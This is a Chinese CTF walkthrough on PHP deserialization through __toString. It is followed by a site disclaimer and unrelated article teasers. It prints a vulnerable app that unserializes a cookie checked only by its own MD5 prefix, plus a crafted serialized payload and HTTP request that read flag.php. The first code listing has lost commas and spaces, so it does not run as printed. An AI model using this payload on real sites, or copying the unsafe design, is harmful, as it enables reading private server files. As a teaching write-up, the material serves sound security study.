CTF之序列化__toString

news2024/9/20 1:18:17
  1. 序列化简介

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

2.__toString介绍

__toString()  是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法 以下说明摘自PHP官方手册

public string __toString ( void )

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

Warning

不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

Example #2 简单示例          

<?php

// Declare a simple class

class TestClass

{

    public $foo;

    public function __construct($foo)

    {

        $this->foo = $foo;

    }

    public function __toString() {

        return $this->foo;

    }

}

$class = new TestClass('Hello');

echo $class;

?>

3.ctf实例

<?php
Class readme{
    public function 
__toString()
    {
        return 
highlight_file('Readme.txt'true).highlight_file($this->sourcetrue);
    }
}
if(isset(
$_GET['source'])){
    
$s = new readme();
    
$s->source __FILE__;
    echo 
$s;
    exit;
}

//$todos = [];
if(isset($_COOKIE['todos'])){
    
$c $_COOKIE['todos'];
    
$h substr($c032);
    
$m substr($c32);
    if(
md5($m) === $h){
        
$todos unserialize($m);
    }
}
if(isset(
$_POST['text'])){
    
$todo $_POST['text'];
    
$todos[] = $todo;
    
$m serialize($todos);
    
$h md5($m);
    
setcookie('todos'$h.$m);
    
header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}

?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>

<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>

4.测试过程

    4.1片段代码进行测试 

<?php

Class readme{

    public function __toString()

    {

        return highlight_file('Readme.txt', true).highlight_file($this->source, true);

    }

}

if(isset($_GET['source'])){

    $s = new readme();

    $s->source = 'flag.php';

    echo $s;

    exit;

}    

 看到可以读取到内容

4.2 测试判断

if(isset($_COOKIE['todos'])){
    
$c $_COOKIE['todos'];
    
$h substr($c032);
    
$m substr($c32);
    if(
md5($m) === $h){
        
$todos unserialize($m);
    }
}

判断cookie 是否存在todos 存在值即进行字符截取

$h 从开始到32 截取

$m 取32长度之后的内容

如果md5加密与$h全等于则 执行   $todos unserialize($m);
 

这段进行md5加密 a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

http://burp/repeat/1/uflp3bvlou3mvwuvck1wnae10h3awlhh

请求包

GET /ctf/demo/toString.php HTTP/1.1

Host: www.test1.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

cookie: todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a{i%3a0%3bO%3a6%3a"readme"%3a1%3a{s%3a6%3a"source"%3bs%3a8%3a"flag.php"%3b}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/60747.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【应用】Docker Swarm

Docker SwarmDocker Swarm 集群配置配置前准备初始化 SwarmSwarm 常用命令Portainer 集群管理Docker Swarm 集群配置 masternode1node2192.168.86.133192.168.86.131192.168.86.139 配置前准备 关闭各个节点服务器的防火墙 systemctl stop firewalld systemctl disable fire…

ATF问题二则:EL3可能没有实现吗? aarch32中的S-EL1是什么?

最近两个问题&#xff0c;戳到了我的知识盲点&#xff0c;当然我这个菜鸡ATF哪里都是盲点。 问题一&#xff1a;EL3可能没有实现吗&#xff1f; 问题二&#xff1a;bl2是aarch32, 那么bl2是S-EL1&#xff0c;bl31也是S-EL1? 1、EL3可能没有实现吗&#xff1f; The Armv8-A …

基于MATLAB的一级倒立摆控制仿真,带GUI界面操作显示倒立摆动画,控制器控制输出

目录 1.算法描述 2.仿真效果预览 3.MATLAB核心程序 4.完整MATLAB 1.算法描述 一个可以活动的小车上立着一根不稳定随时会倒下的杆。小车的轮子由电机控制&#xff0c;可以控制小车电机的转动力矩M。同时&#xff0c;也可以获取小车轮子转动的圈数N&#xff08;可以精确到小…

java计算机毕业设计ssm实验室设备管理系统5k648(附源码、数据库)

java计算机毕业设计ssm实验室设备管理系统5k648&#xff08;附源码、数据库&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xf…

162.基于Django-rest_framework的身份验证和权限

1. 概述 到目前为止&#xff0c;程序的API对任何人都可以编辑或删除&#xff0c;没有任何限制。我们希望有一些更高级的行为&#xff0c;进行身份验证和权限分配&#xff0c;以确保&#xff1a; 数据始终与创建者相关联只有经过身份验证的用户才能创建数据只有数据的创建者可…

嵌入式Linux上ifpulgd的使用配置与qemu模拟验证

问题引入 最近在项目开发中收到了一个非常简单的需求&#xff0c;我们的嵌入式Linux板卡需要在检测到网口插拔后重新配置网络&#xff0c;这在pc环境中非常常见。但是在这个项目的默认SDK中并没有相关配置&#xff0c;稍微查询了一下&#xff0c;在一般pc上通常使用Ifpulgd,并…

[附源码]Python计算机毕业设计Django企业售后服务管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

【数据结构】树的概念与堆的实现

树的概念与堆的实现1、什么是树1.1 树的概念1.2 树的相关概念1.3 树的表示2、二叉树概念及结构2.1 概念2.2 特殊的二叉树2.3 二叉树的性质2.4 二叉树的存储结构3、二叉树的顺序结构及实现3.1 二叉树的顺序结构3.2 堆的概念及结构3.3 堆的实现3.3.1 创建一个堆3.3.2 初始化堆3.3…

【计算机毕业设计】基于JSP的网上购物系统的设计与实现

分类号&#xff1a;TP315 U D C&#xff1a;D10621-408-(2007)5883-0 密 级&#xff1a;公 开 编 号&#xff1a;2003214012 学位论文 基于JSP的网上购物系统的设计与实现 基于JSP的网上购物系统的设计与实现 摘 要 近年来&#xff0c;随着Internet的迅速崛起&#xff0c…

内存 分页、交换空间

目录 1. 分页 1.1 地址转换 1.2 页表存在哪里 1.3 列表中究竟有什么 1.4 分页的优缺点 2. 快速地址转换&#xff08;TLB&#xff09; 2.1 TLB 的基本算法 2.2 谁来处理 TLB 未命中 2.2.1 硬件处理 2.2.2 软件&#xff08;操作系统&#xff09;处理 2.3 TLB 的内容 …

[附源码]Python计算机毕业设计SSM精准扶贫系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

(免费分享)基于springboot,vue公司财务系统

该系统是一个简单的公司财务管理系统&#xff0c;包含用户基本信息管理&#xff08;员工管理&#xff0c;管理员管理&#xff09;&#xff0c;工资管理&#xff08;员工工资管理&#xff0c;管理员工资管理&#xff09;&#xff0c;业务管理&#xff08;员工业务管理&#xff0…

Windows server 2012搭建用户隔离FTP站点

Windows server 2012搭建用户隔离FTP站点 系统添加FTP功能创建FTP登陆账户和其使用的文件夹D盘根目录下创建FTP站点主目录ftp文件夹ftp下创建用户主目录localuser&#xff08;名称不可更改&#xff0c;实现用户隔离必要步骤&#xff09;Localuser文件夹下创建对应用户的文件夹…

opencv入门笔记(二)

目录图像运算位运算位与运算位或运算取反运算异或运算位运算特点示例&#xff1a;位运算示例加法运算示例&#xff1a;查看三种加法运算的区别滤波器均值滤波中值滤波高斯滤波双边滤波示例&#xff1a;查看多种滤波器的处理效果视频处理示例&#xff1a;打开笔记本电脑内置摄像…

轻量化神经网络(移动设备上的神经网络)的整体框架

提示&#xff1a;不断更新中 文章目录一、为什么要引入轻量化神经网络二、模型压缩(Model Compression)参数修建低秩因子分解参数量化知识蒸馏人工神经架构设计三、自动压缩和神经架构搜索(Automated Compression and Neural Architecture Search)自动模型压缩(Automated Model…

【软件工程】白盒测试:基本路径测试

基本路径测试是在程序控制流图的基础上&#xff0c;通过分析控制构造的环路复杂性&#xff0c;导出基本可执行的路径集合&#xff0c;从而设计测试用例的方法。 步骤(以一段代码为例)&#xff1a; &#xff08;1&#xff09;画出控制流图 void sort(int num,int t) 1. { 2. i…

MySQL数据库的SQL语句

MySQL数据库的SQL语句MySQL的常用数据类型MySQL数据类型及含义char与varchar的区别MySQL的基本命令登录数据库查看MySQL数据库版本查看当前服务器中的数据库查看MySQL库中的表查看表的结构&#xff08;字段&#xff09;SQL语句SQL简介及分类创建新的数据库创建新的表添加表中各…

卡尔曼滤波之基本概念和状态观测器

图裂参考原文&#xff1a;https://www.cnblogs.com/odesey/p/16937124.html 1. 为什么使用 Kalman Filters&#xff1f; 1.1 什么是 Kalman Filters&#xff1f; Kalman Filters 是一种优化估计算法。下面使用使用两个例子说明 Kalman Filters 的用处。 例子1&#xff1a; …

电子学会2021年3月青少年软件编程(图形化)等级考试试卷(二级)答案解析

目录 一、单选题&#xff08;共25题&#xff0c;每题2分&#xff0c;共50分&#xff09; 二、判断题&#xff08;共10题&#xff0c;每题2分&#xff0c;共20分&#xff09; 三、编程题&#xff08;共2题&#xff0c;共30分&#xff09; 青少年软件编程&#xff08;图形化&a…

Java#32(异常, File)

目录 一.异常 异常: 代表程序出现问题 二.File 1.File的三种构造方法 2.File的常见的成员方法 一.异常 异常: 代表程序出现问题 图解: 从Java文件------>字节码文件的过程就是编译(在这期间的异常就是编译时异常) 从字节码文件------->运行结果的过程就是运行(在这期…